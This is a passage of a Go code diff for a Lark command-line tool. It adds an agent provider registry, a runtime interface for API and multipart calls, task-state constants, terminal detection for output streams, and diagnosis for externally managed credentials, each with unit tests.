// ParseRef/scheme errors via wrapRefResolveError; the unknown-id error is
// already typed).
func LookupSpec(ref string) (Provider, *AgentSpec, string, error) {
r, err := ParseRef(ref)
if err != nil {
return Provider{}, nil, "", err
}
p, ok := providerRegistry[r.Scheme]
if !ok {
return Provider{}, nil, "", fmt.Errorf("未知的 agent provider '%s',当前支持: %s", r.Scheme, KnownSchemes())
}
if p.Instance != nil {
return p, p.Instance, r.AgentID, nil
}
for i := range p.Catalog {
if p.Catalog[i].ID == r.AgentID {
return p, &p.Catalog[i], r.AgentID, nil
}
}
return p, nil, "", errs.NewValidationError(errs.SubtypeInvalidArgument,
"未知的 %s agent '%s'", r.Scheme, r.AgentID).
WithHint("运行 lark-cli agent list %s 查看可用 agent", r.Scheme)
}
// Kind reports the provider form derived from Catalog vs Instance.
func (p Provider) Kind() ProviderKind {
if p.Instance != nil {
return KindInstance
}
return KindCatalog
}
// AgentRefFormat is the written form of an agent_ref for this provider, always
// "<scheme>:<agent_id>" (derived, not stored).
func (p Provider) AgentRefFormat() string {
return p.Scheme + ":<agent_id>"
}
// ListCatalog is the offline enumeration for a catalog provider (sorted by
// AgentRef, stable). An instance provider has no static set and returns nil — the
// command layer then falls back to the optional ListAgents online hook.
func (p Provider) ListCatalog() []AgentSummary {
if p.Instance != nil {
return nil
}
out := make([]AgentSummary, 0, len(p.Catalog))
for _, s := range p.Catalog {
out = append(out, AgentSummary{
AgentRef: p.Scheme + ":" + s.ID,
Name: s.Name,
Description: s.Description,
})
}
sort.Slice(out, func(i, j int) bool { return out[i].AgentRef < out[j].AgentRef })
return out
}
// KnownSchemes returns a comma-separated list of registered schemes (stably
// sorted), or "(none)" when empty (reused by cmd/agent's unknown-scheme message).
func KnownSchemes() string {
s := RegisteredSchemes()
if len(s) == 0 {
return "(none)"
}
return strings.Join(s, ", ")
}
// RegisteredSchemes lets `agent list` enumerate registered providers (sorted).
func RegisteredSchemes() []string {
s := make([]string, 0, len(providerRegistry))
for k := range providerRegistry {
s = append(s, k)
}
sort.Strings(s)
return s
}

View File

@@ -0,0 +1,236 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import (
"context"
"errors"
"reflect"
"strings"
"testing"
)
// swapRegistry replaces the global providerRegistry with the given map (restored
// via t.Cleanup), for isolation. It swaps without a lock, so no t.Parallel.
func swapRegistry(t *testing.T, m map[string]Provider) {
t.Helper()
saved := providerRegistry
providerRegistry = m
t.Cleanup(func() { providerRegistry = saved })
}
// coreSpec is a minimal valid spec: it wires the two mandatory core hooks so it
// passes Register's checkSpec. Callers set extra hooks / ID on the returned value.
func coreSpec(id string) AgentSpec {
return AgentSpec{
ID: id,
Send: func(context.Context, Runtime, SendInput) (*AgentTask, error) { return nil, nil },
GetTask: func(context.Context, Runtime, string) (*AgentTask, error) { return nil, nil },
}
}
// instanceProvider builds a minimal valid instance Provider for scheme.
func instanceProvider(scheme string) Provider {
s := coreSpec("")
return Provider{
Scheme: scheme,
Label: "test provider",
AgentIDSource: "test source",
Identities: []IdentitySpec{{Type: IdentityUser}},
Instance: &s,
}
}
// catalogProvider builds a minimal valid catalog Provider for scheme with the
// given entry ids.
func catalogProvider(scheme string, ids ...string) Provider {
specs := make([]AgentSpec, 0, len(ids))
for _, id := range ids {
s := coreSpec(id)
s.Name = "name-" + id
specs = append(specs, s)
}
return Provider{
Scheme: scheme,
Label: "test provider",
AgentIDSource: "test source",
Identities: []IdentitySpec{{Type: IdentityUser}},
Catalog: specs,
}
}
// mustPanic asserts that fn panics and the message contains wantMsg.
func mustPanic(t *testing.T, wantMsg string, fn func()) {
t.Helper()
defer func() {
r := recover()
if r == nil {
t.Fatalf("should panic (want message containing %q)", wantMsg)
}
msg, _ := r.(string)
if !strings.Contains(msg, wantMsg) {
t.Fatalf("panic message should contain %q, got %q", wantMsg, msg)
}
}()
fn()
}
// TestRegisterPanicBranches table-drives the Register fail-fast branches.
func TestRegisterPanicBranches(t *testing.T) {
cases := []struct {
name string
mutate func(p *Provider)
wantMsg string
}{
{"empty Scheme", func(p *Provider) { p.Scheme = "" }, "empty Scheme"},
{"missing Label", func(p *Provider) { p.Label = "" }, "missing Label"},
{"missing AgentIDSource", func(p *Provider) { p.AgentIDSource = "" }, "missing AgentIDSource"},
{"missing Identities", func(p *Provider) { p.Identities = nil }, "missing Identities"},
{"invalid Identity Type", func(p *Provider) { p.Identities = []IdentitySpec{{Type: "robot"}} }, "got: robot"},
{"neither Catalog nor Instance", func(p *Provider) { p.Instance = nil }, "exactly one of Catalog / Instance"},
{"both Catalog and Instance", func(p *Provider) { p.Catalog = catalogProvider("x", "a").Catalog }, "exactly one of Catalog / Instance"},
{"instance template with ID", func(p *Provider) { p.Instance.ID = "oops" }, "instance template must have empty ID"},
{"missing core Send", func(p *Provider) { p.Instance.Send = nil }, "missing core Send"},
{"missing core GetTask", func(p *Provider) { p.Instance.GetTask = nil }, "missing core GetTask"},
}
for _, tc := range cases {
t.Run(tc.name, func(t *testing.T) {
swapRegistry(t, map[string]Provider{})
p := instanceProvider("bad")
tc.mutate(&p)
mustPanic(t, tc.wantMsg, func() { Register(p) })
})
}
}
// TestRegisterCatalogIDPanics pins the catalog-specific ID rules.
func TestRegisterCatalogIDPanics(t *testing.T) {
swapRegistry(t, map[string]Provider{})
missingID := catalogProvider("cat", "")
mustPanic(t, "catalog spec missing ID", func() { Register(missingID) })
swapRegistry(t, map[string]Provider{})
dup := catalogProvider("cat", "a", "a")
mustPanic(t, "duplicate entry ID", func() { Register(dup) })
}
func TestRegisterDuplicateScheme(t *testing.T) {
swapRegistry(t, map[string]Provider{})
Register(instanceProvider("dup"))
mustPanic(t, "called twice for scheme: dup", func() { Register(instanceProvider("dup")) })
}
func TestInfoReturnsRegisteredProvider(t *testing.T) {
swapRegistry(t, map[string]Provider{})
p := instanceProvider("t1")
p.RequiredScopes = []string{"t1:chat:write"}
Register(p)
got, ok := Info("t1")
if !ok || got.Label != "test provider" || got.Kind() != KindInstance {
t.Fatalf("Info(t1) = %+v, %v", got, ok)
}
if _, ok := Info("nonexistent"); ok {
t.Fatal("Info(nonexistent) should return ok=false")
}
}
func TestKindAndAgentRefFormat(t *testing.T) {
swapRegistry(t, map[string]Provider{})
inst := instanceProvider("inst")
cat := catalogProvider("cat", "a")
if inst.Kind() != KindInstance {
t.Errorf("instance provider Kind should be instance, got %q", inst.Kind())
}
if cat.Kind() != KindCatalog {
t.Errorf("catalog provider Kind should be catalog, got %q", cat.Kind())
}
if got := inst.AgentRefFormat(); got != "inst:<agent_id>" {
t.Errorf("AgentRefFormat should be inst:<agent_id>, got %q", got)
}
}
func TestListCatalog(t *testing.T) {
// Catalog: sorted by AgentRef, stable, instance returns nil.
cat := catalogProvider("cat", "zeta", "alpha")
got := cat.ListCatalog()
if len(got) != 2 || got[0].AgentRef != "cat:alpha" || got[1].AgentRef != "cat:zeta" {
t.Fatalf("ListCatalog should be sorted by AgentRef, got %+v", got)
}
if instanceProvider("inst").ListCatalog() != nil {
t.Error("instance ListCatalog should be nil")
}
}
func TestKnownSchemesEmpty(t *testing.T) {
swapRegistry(t, map[string]Provider{})
if got := KnownSchemes(); got != "(none)" {
t.Fatalf("an empty registry should return \"(none)\", got %q", got)
}
}
func TestRegisteredSchemesSorted(t *testing.T) {
swapRegistry(t, map[string]Provider{})
Register(instanceProvider("gamma"))
Register(instanceProvider("alpha"))
Register(instanceProvider("beta"))
got := RegisteredSchemes()
want := []string{"alpha", "beta", "gamma"}
if !reflect.DeepEqual(got, want) {
t.Fatalf("RegisteredSchemes should enumerate and sort, want %v got %v", want, got)
}
if s := KnownSchemes(); s != "alpha, beta, gamma" {
t.Fatalf("knownSchemes should be comma-joined, got %q", s)
}
}
func TestLookupSpecInvalidRef(t *testing.T) {
swapRegistry(t, map[string]Provider{})
_, _, _, err := LookupSpec("no-colon")
if !errors.Is(err, ErrInvalidRef) {
t.Fatalf("an invalid ref should propagate ErrInvalidRef, got %v", err)
}
}
func TestLookupSpecUnknownScheme(t *testing.T) {
swapRegistry(t, map[string]Provider{})
_, _, _, err := LookupSpec("nosuch:agt_x")
if err == nil {
t.Fatal("an unregistered scheme should return an error")
}
if errors.Is(err, ErrInvalidRef) {
t.Fatalf("an unregistered scheme should not be ErrInvalidRef, got %v", err)
}
}
func TestLookupSpecInstance(t *testing.T) {
swapRegistry(t, map[string]Provider{})
Register(instanceProvider("demo"))
prov, spec, agentID, err := LookupSpec("demo:agt_42")
if err != nil {
t.Fatalf("a valid instance ref should succeed, got %v", err)
}
if prov.Scheme != "demo" || spec == nil || spec.Send == nil {
t.Fatalf("should return the instance template, got prov=%+v spec=%v", prov, spec)
}
if agentID != "agt_42" {
t.Fatalf("should echo the parsed agentID, got %q", agentID)
}
}
func TestLookupSpecCatalog(t *testing.T) {
swapRegistry(t, map[string]Provider{})
Register(catalogProvider("cat", "alpha", "beta"))
_, spec, agentID, err := LookupSpec("cat:beta")
if err != nil {
t.Fatalf("a known catalog id should succeed, got %v", err)
}
if spec == nil || spec.ID != "beta" || agentID != "beta" {
t.Fatalf("should return the matching catalog entry, got %+v (id %q)", spec, agentID)
}
// Unknown id → typed validation error.
_, _, _, err = LookupSpec("cat:nope")
if err == nil {
t.Fatal("an unknown catalog id should return an error")
}
}

99
internal/agent/runtime.go Normal file
View File

@@ -0,0 +1,99 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import (
"context"
"encoding/json"
"github.com/larksuite/cli/errs"
)
// Runtime is the only thing a verb hook touches for I/O. It is the agent
// analogue of the event/shortcut runtime: the framework has already resolved and
// PINNED the calling identity (user|bot) inside it, so a hook never sees a raw
// *client.APIClient, never resolves a token, and cannot bypass scope preflight.
// The concrete implementation lives in cmd/agent (like event's consumeRuntime in
// cmd/event), which is why internal/agent no longer needs to depend on
// internal/client — the sole reason the old Deps struct existed.
type Runtime interface {
// AgentID is the agent this call addresses (parsed from the ref by the
// framework). A catalog hook may ignore it; an instance template reads it to
// know which runtime agent it serves. Request data, not plumbing.
AgentID() string
// IsBot reports the resolved identity kind for the rare hook that must branch
// on it. Identity resolution itself stays hidden.
IsBot() bool
// CallAPI issues one JSON OAPI request under the pinned identity and returns
// the raw "data" object (the response envelope's data field, already unwrapped
// and error-checked) or a typed errs.* error — a hook never does envelope
// unwrapping, identity threading, or error classification. Hooks do not use
// this directly; they call the typed Call[T] helper below, which decodes the
// raw bytes into a struct. query values are strings (page_token, *_id_type, …).
CallAPI(ctx context.Context, method, path string, query map[string]string, body any) (json.RawMessage, error)
// CallMultipart is the file-upload seam: it reproduces the multipart form
// upload a real provider would otherwise hand-write (larkcore.NewFormdata +
// WithFileUpload), but centralized and identity-opaque. The framework
// SafeInputPath-validates and opens each FilePart.Path, builds the multipart
// body, pins the identity, and returns the raw "data" object (decode it with
// the typed CallUpload[T] helper below). This is what makes the FileInput
// capability actually deliverable — without it a provider declaring
// FileInput=true but with only a JSON client would silently drop SendInput.Files.
CallMultipart(ctx context.Context, method, path string, fields map[string]string, files []FilePart) (json.RawMessage, error)
}
// Call issues a JSON OAPI request under rt's pinned identity and decodes the
// response "data" object into T. This is the typed entry point a verb hook uses
// instead of poking at a map[string]any: declare the response struct you expect
// and let the framework unmarshal and classify errors. For a genuinely dynamic
// shape, use Call[map[string]any]. A response with no "data" (e.g. a pure write)
// yields the zero value of T and a nil error.
//
// type chat struct{ SessionID, AgentChatID string }
// c, err := agent.Call[chat](ctx, rt, "POST", path, nil, body)
func Call[T any](ctx context.Context, rt Runtime, method, path string, query map[string]string, body any) (T, error) {
raw, err := rt.CallAPI(ctx, method, path, query, body)
if err != nil {
var zero T
return zero, err
}
return decodeData[T](method, path, raw)
}
// CallUpload is the multipart (file-upload) variant of Call: it uploads files
// and decodes the response "data" object into T.
func CallUpload[T any](ctx context.Context, rt Runtime, method, path string, fields map[string]string, files []FilePart) (T, error) {
raw, err := rt.CallMultipart(ctx, method, path, fields, files)
if err != nil {
var zero T
return zero, err
}
return decodeData[T](method, path, raw)
}
// decodeData unmarshals a raw "data" object into T, classifying a decode failure
// as a typed invalid_response error (consistent with the runtime's own error
// handling). Empty raw ⇒ zero value, nil error.
func decodeData[T any](method, path string, raw json.RawMessage) (T, error) {
var out T
if len(raw) == 0 {
return out, nil
}
if err := json.Unmarshal(raw, &out); err != nil {
return out, errs.NewInternalError(errs.SubtypeInvalidResponse,
"decode data for %s %s: %v", method, path, err).WithCause(err)
}
return out, nil
}
// FilePart is one file to upload. Path comes straight from SendInput.Files and is
// SafeInputPath-validated by the runtime (the security check stays framework-
// owned, not re-implemented per provider).
type FilePart struct {
Field string // multipart field name, e.g. "file"
Path string // local path (framework validates + opens)
}

26
internal/agent/spi.go Normal file
View File

@@ -0,0 +1,26 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
// IdentityType is the closed set of values for IdentitySpec.Type (validated at
// Register time to guard against typos).
type IdentityType string
const (
IdentityUser IdentityType = "user"
IdentityBot IdentityType = "bot"
)
// IdentitySpec declares a supported identity and its precondition, if any.
type IdentitySpec struct {
Type IdentityType `json:"type"` // IdentityUser | IdentityBot
Precondition string `json:"precondition,omitempty"`
}
// AgentSummary is one discoverable agent in `agent list <scheme>` output.
type AgentSummary struct {
AgentRef string `json:"agent_ref"`
Name string `json:"name"`
Description string `json:"description,omitempty"`
}

35
internal/agent/state.go Normal file
View File

@@ -0,0 +1,35 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
// TaskState is the A2A task state, constant across all providers (9 states).
type TaskState string
const (
StateSubmitted TaskState = "submitted"
StateWorking TaskState = "working"
StateInputRequired TaskState = "input_required"
StateAuthRequired TaskState = "auth_required"
StateCompleted TaskState = "completed"
StateFailed TaskState = "failed"
StateCanceled TaskState = "canceled"
StateRejected TaskState = "rejected"
StateUnknown TaskState = "unknown"
)
// IsTerminal reports whether the task has entered a terminal state.
func (s TaskState) IsTerminal() bool {
switch s {
case StateCompleted, StateFailed, StateCanceled, StateRejected:
return true
default:
return false
}
}
// ShouldStopPolling reports whether polling should stop: terminal state, or
// awaiting additional input / re-authentication.
func (s TaskState) ShouldStopPolling() bool {
return s.IsTerminal() || s == StateInputRequired || s == StateAuthRequired
}

View File

@@ -0,0 +1,34 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import "testing"
func TestIsTerminal(t *testing.T) {
cases := map[TaskState]bool{
StateSubmitted: false, StateWorking: false, StateInputRequired: false,
StateAuthRequired: false, StateCompleted: true, StateFailed: true,
StateCanceled: true, StateRejected: true, StateUnknown: false,
}
for s, want := range cases {
if got := s.IsTerminal(); got != want {
t.Errorf("%s.IsTerminal()=%v want %v", s, got, want)
}
}
}
func TestShouldStopPolling(t *testing.T) {
stop := []TaskState{StateCompleted, StateFailed, StateCanceled, StateRejected, StateInputRequired, StateAuthRequired}
cont := []TaskState{StateSubmitted, StateWorking, StateUnknown}
for _, s := range stop {
if !s.ShouldStopPolling() {
t.Errorf("%s should stop polling", s)
}
}
for _, s := range cont {
if s.ShouldStopPolling() {
t.Errorf("%s should keep polling", s)
}
}
}

View File

@@ -18,6 +18,9 @@ type IOStreams struct {
Out io.Writer
ErrOut io.Writer
IsTerminal bool
// OutIsTerminal reports whether Out is an interactive terminal. Mirrors
// IsTerminal; computed once in NewIOStreams and assignable directly in tests.
OutIsTerminal bool
// StderrIsTerminal reports whether ErrOut is an interactive terminal.
// Advisory warnings written to stderr (e.g. the proxy notice) gate on this
// so they stay out of non-interactive output (pipes, CI, agent runs).
@@ -27,19 +30,24 @@ type IOStreams struct {
}
// NewIOStreams builds an IOStreams from arbitrary readers/writers.
// IsTerminal / StderrIsTerminal are derived from in's / errOut's underlying
// *os.File, if any; non-file streams (bytes.Buffer, strings.Reader, …) yield
// false.
// IsTerminal / OutIsTerminal / StderrIsTerminal are each derived from the
// underlying *os.File of in / out / errOut respectively; non-file
// readers/writers (bytes.Buffer, strings.Reader, …) yield false.
func NewIOStreams(in io.Reader, out, errOut io.Writer) *IOStreams {
isTerminal := false
if f, ok := in.(*os.File); ok {
isTerminal = term.IsTerminal(int(f.Fd()))
fileIsTerminal := func(v any) bool {
if f, ok := v.(*os.File); ok {
return term.IsTerminal(int(f.Fd()))
}
return false
}
stderrIsTerminal := false
if f, ok := errOut.(*os.File); ok {
stderrIsTerminal = term.IsTerminal(int(f.Fd()))
return &IOStreams{
In: in,
Out: out,
ErrOut: errOut,
IsTerminal: fileIsTerminal(in),
OutIsTerminal: fileIsTerminal(out),
StderrIsTerminal: fileIsTerminal(errOut),
}
return &IOStreams{In: in, Out: out, ErrOut: errOut, IsTerminal: isTerminal, StderrIsTerminal: stderrIsTerminal}
}
// SystemIO creates an IOStreams wired to the process's standard file descriptors.

View File

@@ -0,0 +1,31 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package cmdutil
import (
"bytes"
"os"
"testing"
)
func TestNewIOStreamsTerminalFlagsNonFile(t *testing.T) {
s := NewIOStreams(&bytes.Buffer{}, &bytes.Buffer{}, &bytes.Buffer{})
if s.IsTerminal || s.OutIsTerminal || s.StderrIsTerminal {
t.Errorf("non-file streams must not be terminals: in=%v out=%v err=%v",
s.IsTerminal, s.OutIsTerminal, s.StderrIsTerminal)
}
}
func TestNewIOStreamsTerminalFlagsPipe(t *testing.T) {
r, w, err := os.Pipe()
if err != nil {
t.Fatal(err)
}
defer r.Close()
defer w.Close()
s := NewIOStreams(r, w, w)
if s.OutIsTerminal || s.StderrIsTerminal {
t.Errorf("os.Pipe must not be a terminal: out=%v err=%v", s.OutIsTerminal, s.StderrIsTerminal)
}
}

View File

@@ -13,6 +13,7 @@ import (
"strings"
"time"
extcred "github.com/larksuite/cli/extension/credential"
larkauth "github.com/larksuite/cli/internal/auth"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
@@ -61,12 +62,131 @@ func Diagnose(ctx context.Context, f *cmdutil.Factory, cfg *core.CliConfig, veri
if ctx == nil {
ctx = context.Background()
}
// An external provider mints tokens on demand and blocks interactive auth,
// so the built-in keychain heuristics and "auth login" hints don't apply.
if provider := activeExternalProvider(ctx, f); provider != "" {
return diagnoseExternal(ctx, f, cfg, provider, verify)
}
return Result{
Bot: diagnoseBot(ctx, f, cfg, verify),
User: diagnoseUser(ctx, f, cfg, verify),
}
}
// activeExternalProvider returns the active extension provider name, or "".
// An error degrades to the built-in path: an unreachable provider would already
// have failed the f.Config() that produced cfg.
func activeExternalProvider(ctx context.Context, f *cmdutil.Factory) string {
if f == nil || f.Credential == nil {
return ""
}
name, err := f.Credential.ActiveExtensionProviderName(ctx)
if err != nil {
return ""
}
return name
}
func diagnoseExternal(ctx context.Context, f *cmdutil.Factory, cfg *core.CliConfig, provider string, verify bool) Result {
if cfg == nil || cfg.AppID == "" {
notConfigured := Identity{
Status: StatusNotConfigured,
Message: "not configured (missing app config)",
Hint: externalCredentialHint(provider),
}
return Result{Bot: notConfigured, User: notConfigured}
}
// SupportedIdentities == 0 is "unspecified" — treat as both, per CanBot.
ids := extcred.IdentitySupport(cfg.SupportedIdentities)
supportsBot := cfg.SupportedIdentities == 0 || ids.Has(extcred.SupportsBot)
supportsUser := cfg.SupportedIdentities == 0 || ids.Has(extcred.SupportsUser)
return Result{
Bot: diagnoseExternalBot(ctx, f, cfg, provider, supportsBot, verify),
User: diagnoseExternalUser(ctx, f, cfg, provider, supportsUser, verify),
}
}
func diagnoseExternalBot(ctx context.Context, f *cmdutil.Factory, cfg *core.CliConfig, provider string, supported, verify bool) Identity {
if !supported {
return notProvidedExternally("Bot", provider)
}
id := Identity{Status: StatusReady, Available: true, Message: "Bot identity: ready (provided by " + provider + ")"}
if !verify {
return id
}
token, err := resolveBotToken(ctx, f, cfg)
if err != nil {
return externalVerifyFailed(id, "Bot", provider, err)
}
info, err := fetchBotInfo(ctx, f, cfg, token)
if err != nil {
return externalVerifyFailed(id, "Bot", provider, err)
}
id.Verified = boolPtr(true)
id.OpenID = info.OpenID
id.AppName = info.AppName
return id
}
func diagnoseExternalUser(ctx context.Context, f *cmdutil.Factory, cfg *core.CliConfig, provider string, supported, verify bool) Identity {
if !supported {
return notProvidedExternally("User", provider)
}
// enrichUserInfo populates UserOpenId only after the provider returns and
// verifies a UAT (and clears it on failure), so a resolved open id is the
// external analogue of a keychain token being present.
if cfg.UserOpenId == "" {
return Identity{
Status: StatusMissing,
Message: "User identity: not signed in via credential source " + provider,
Hint: externalCredentialHint(provider),
}
}
id := Identity{
Status: StatusReady,
Available: true,
TokenStatus: StatusReady,
UserName: cfg.UserName,
OpenID: cfg.UserOpenId,
Message: "User identity: ready (provided by " + provider + ")",
}
if !verify {
return id
}
if _, err := f.Credential.ResolveToken(ctx, credential.NewTokenSpec(core.AsUser, cfg.AppID)); err != nil {
return externalVerifyFailed(id, "User", provider, err)
}
id.Verified = boolPtr(true)
return id
}
func notProvidedExternally(label, provider string) Identity {
return Identity{
Status: StatusNotConfigured,
Message: label + " identity: not provided by credential source " + provider,
Hint: externalCredentialHint(provider),
}
}
// externalVerifyFailed flips id to verify-failed, keeping any identity fields
// (open id, user name) already resolved before the probe.
func externalVerifyFailed(id Identity, label, provider string, err error) Identity {
id.Available = false
id.Verified = boolPtr(false)
id.Status = StatusVerifyFailed
id.TokenStatus = ""
id.Message = label + " identity: verify failed: " + err.Error()
id.Hint = externalCredentialHint(provider)
return id
}
// externalCredentialHint reports the constraint, not a remediation: the
// identity is the provider's to manage, not lark-cli's to fix. What to do about
// it is the caller's call — there may be no user to ask.
func externalCredentialHint(provider string) string {
return fmt.Sprintf("managed by the external credential provider %q and cannot be configured via lark-cli", provider)
}
func diagnoseBot(ctx context.Context, f *cmdutil.Factory, cfg *core.CliConfig, verify bool) Identity {
if cfg == nil || cfg.AppID == "" {
return Identity{

View File

@@ -10,9 +10,11 @@ import (
"testing"
"time"
extcred "github.com/larksuite/cli/extension/credential"
larkauth "github.com/larksuite/cli/internal/auth"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/credential"
"github.com/larksuite/cli/internal/httpmock"
"github.com/zalando/go-keyring"
)
@@ -348,3 +350,136 @@ func TestDiagnose_UserIdentityNeedsRefresh(t *testing.T) {
t.Fatalf("token status = %q, want needs_refresh", got.User.TokenStatus)
}
}
// fakeExtProvider is a minimal credential.extcred.Provider for exercising the
// external-credential diagnosis path. account makes the provider "active";
// token (when set) satisfies ResolveToken during verify.
type fakeExtProvider struct {
name string
account *extcred.Account
token *extcred.Token
}
func (p *fakeExtProvider) Name() string { return p.name }
func (p *fakeExtProvider) ResolveAccount(context.Context) (*extcred.Account, error) {
return p.account, nil
}
func (p *fakeExtProvider) ResolveToken(context.Context, extcred.TokenSpec) (*extcred.Token, error) {
return p.token, nil
}
func externalFactory(prov *fakeExtProvider, cfg *core.CliConfig) *cmdutil.Factory {
cred := credential.NewCredentialProvider(
[]extcred.Provider{prov}, nil, nil,
func() (*http.Client, error) { return nil, nil },
)
return &cmdutil.Factory{
Config: func() (*core.CliConfig, error) { return cfg, nil },
Credential: cred,
IOStreams: &cmdutil.IOStreams{},
}
}
// assertExternalHint locks the contract that an external-provider hint never
// points at interactive commands blocked under an external provider.
func assertExternalHint(t *testing.T, hint string) {
t.Helper()
if hint == "" {
t.Fatalf("hint empty, want external guidance")
}
for _, blocked := range []string{"auth login", "config --help"} {
if strings.Contains(hint, blocked) {
t.Fatalf("hint %q must not point at %q (blocked under external provider)", hint, blocked)
}
}
if !strings.Contains(hint, "external") {
t.Fatalf("hint %q should explain credentials are external", hint)
}
}
func TestDiagnose_External_UserReady(t *testing.T) {
cfg := &core.CliConfig{AppID: "cli_x", Brand: core.BrandFeishu, SupportedIdentities: uint8(extcred.SupportsAll), UserOpenId: "ou_x", UserName: "Alice"}
f := externalFactory(&fakeExtProvider{name: "corp-sso", account: &extcred.Account{AppID: "cli_x"}}, cfg)
got := Diagnose(context.Background(), f, cfg, false)
// The bug this guards: the built-in path read the keychain (empty under an
// external provider) and reported the user as missing. Now availability
// follows the resolved account, so a signed-in user reads as ready.
if !got.User.Available || got.User.Status != StatusReady || got.User.TokenStatus != StatusReady {
t.Fatalf("user = %#v, want ready/available", got.User)
}
if got.User.OpenID != "ou_x" || got.User.UserName != "Alice" {
t.Fatalf("user identity = %#v", got.User)
}
if got.User.Hint != "" {
t.Fatalf("hint = %q, want empty when available", got.User.Hint)
}
if !got.Bot.Available || got.Bot.Status != StatusReady {
t.Fatalf("bot = %#v, want ready/available", got.Bot)
}
}
func TestDiagnose_External_UserNotSignedIn(t *testing.T) {
cfg := &core.CliConfig{AppID: "cli_x", Brand: core.BrandFeishu, SupportedIdentities: uint8(extcred.SupportsAll)}
f := externalFactory(&fakeExtProvider{name: "corp-sso", account: &extcred.Account{AppID: "cli_x"}}, cfg)
got := Diagnose(context.Background(), f, cfg, false)
if got.User.Available || got.User.Status != StatusMissing {
t.Fatalf("user = %#v, want missing/unavailable", got.User)
}
assertExternalHint(t, got.User.Hint)
}
func TestDiagnose_External_BotOnly(t *testing.T) {
cfg := &core.CliConfig{AppID: "cli_x", Brand: core.BrandFeishu, SupportedIdentities: uint8(extcred.SupportsBot), UserOpenId: "ou_x"}
f := externalFactory(&fakeExtProvider{name: "corp-sso", account: &extcred.Account{AppID: "cli_x"}}, cfg)
got := Diagnose(context.Background(), f, cfg, false)
if !got.Bot.Available || got.Bot.Status != StatusReady {
t.Fatalf("bot = %#v, want ready/available", got.Bot)
}
// Provider declares bot-only: user is unavailable even though an open id is
// present, and the hint is external (not "auth login").
if got.User.Available || got.User.Status != StatusNotConfigured {
t.Fatalf("user = %#v, want not_configured/unavailable", got.User)
}
assertExternalHint(t, got.User.Hint)
}
func TestDiagnose_External_UserOnly(t *testing.T) {
cfg := &core.CliConfig{AppID: "cli_x", Brand: core.BrandLark, SupportedIdentities: uint8(extcred.SupportsUser), UserOpenId: "ou_x", UserName: "Bob"}
f := externalFactory(&fakeExtProvider{name: "corp-sso", account: &extcred.Account{AppID: "cli_x"}}, cfg)
got := Diagnose(context.Background(), f, cfg, false)
if !got.User.Available || got.User.Status != StatusReady {
t.Fatalf("user = %#v, want ready/available", got.User)
}
if got.Bot.Available || got.Bot.Status != StatusNotConfigured {
t.Fatalf("bot = %#v, want not_configured/unavailable", got.Bot)
}
assertExternalHint(t, got.Bot.Hint)
}
func TestDiagnose_External_VerifyUserResolvesToken(t *testing.T) {
cfg := &core.CliConfig{AppID: "cli_x", Brand: core.BrandFeishu, SupportedIdentities: uint8(extcred.SupportsUser), UserOpenId: "ou_x", UserName: "Alice"}
f := externalFactory(&fakeExtProvider{name: "corp-sso", account: &extcred.Account{AppID: "cli_x"}, token: &extcred.Token{Value: "ext-uat"}}, cfg)
got := Diagnose(context.Background(), f, cfg, true)
if !got.User.Available || got.User.Verified == nil || !*got.User.Verified {
t.Fatalf("user = %#v, want available and verified", got.User)
}
}
func TestDiagnose_External_VerifyUserTokenUnavailable(t *testing.T) {
cfg := &core.CliConfig{AppID: "cli_x", Brand: core.BrandFeishu, SupportedIdentities: uint8(extcred.SupportsUser), UserOpenId: "ou_x"}
f := externalFactory(&fakeExtProvider{name: "corp-sso", account: &extcred.Account{AppID: "cli_x"}}, cfg)
got := Diagnose(context.Background(), f, cfg, true)
if got.User.Available || got.User.Status != StatusVerifyFailed {
t.Fatalf("user = %#v, want verify_failed/unavailable", got.User)
}
if got.User.Verified == nil || *got.User.Verified {
t.Fatalf("verified = %v, want false", got.User.Verified)
}
assertExternalHint(t, got.User.Hint)
}

View File

@@ -5,30 +5,39 @@ package meta
import "encoding/json"
// Affordance is the hand-authored usage guidance overlaid on a method: when to
// use it, when not to, prerequisites, few-shot examples, and related methods.
// It is the single typed model of the affordance shape; the envelope renderer
// and the command help both parse through ParsedAffordance so the vocabulary
// is defined once. The JSON tags double as the envelope's wire shape.
// Affordance is the typed usage guidance overlaid on a method. It is the single
// model the envelope renderer and the command help both parse, so the
// vocabulary is defined once; the JSON tags double as the envelope wire shape.
// Skills entries are skill names (or name/path) rendered as runnable
// `lark-cli skills read <entry>` pointers.
type Affordance struct {
UseWhen []string `json:"use_when,omitempty"`
DoNotUseWhen []string `json:"do_not_use_when,omitempty"`
Prerequisites []string `json:"prerequisites,omitempty"`
Examples []AffordanceCase `json:"examples,omitempty"`
Related []string `json:"related,omitempty"`
UseWhen []string `json:"use_when,omitempty"`
AvoidWhen []string `json:"avoid_when,omitempty"`
Prerequisites []string `json:"prerequisites,omitempty"`
Tips []string `json:"tips,omitempty"`
Examples []AffordanceCase `json:"examples,omitempty"`
Extensions []AffordanceSection `json:"extensions,omitempty"`
Related []string `json:"related,omitempty"`
Skills []string `json:"skills,omitempty"`
}
// AffordanceCase is one few-shot example: a one-line description and a
// ready-to-run command.
// AffordanceCase is one few-shot example: a description and a ready-to-run command.
type AffordanceCase struct {
Description string `json:"description"`
Description string `json:"description,omitempty"`
Command string `json:"command"`
}
// ParsedAffordance decodes the method's raw affordance overlay into the typed
// Affordance. ok is false when the method carries no affordance, the JSON is
// malformed, or every section is empty — so callers can treat "no guidance"
// uniformly.
// AffordanceSection is a custom guidance section: any heading beyond the
// standard four (Avoid when / Prerequisites / Tips / Examples) flows through
// here with its label preserved, so authors can add sections without code
// changes.
type AffordanceSection struct {
Label string `json:"label"`
Items []string `json:"items,omitempty"`
}
// ParsedAffordance decodes the method's overlay. ok is false when it is absent,
// malformed, or wholly empty — callers treat all three as "no guidance".
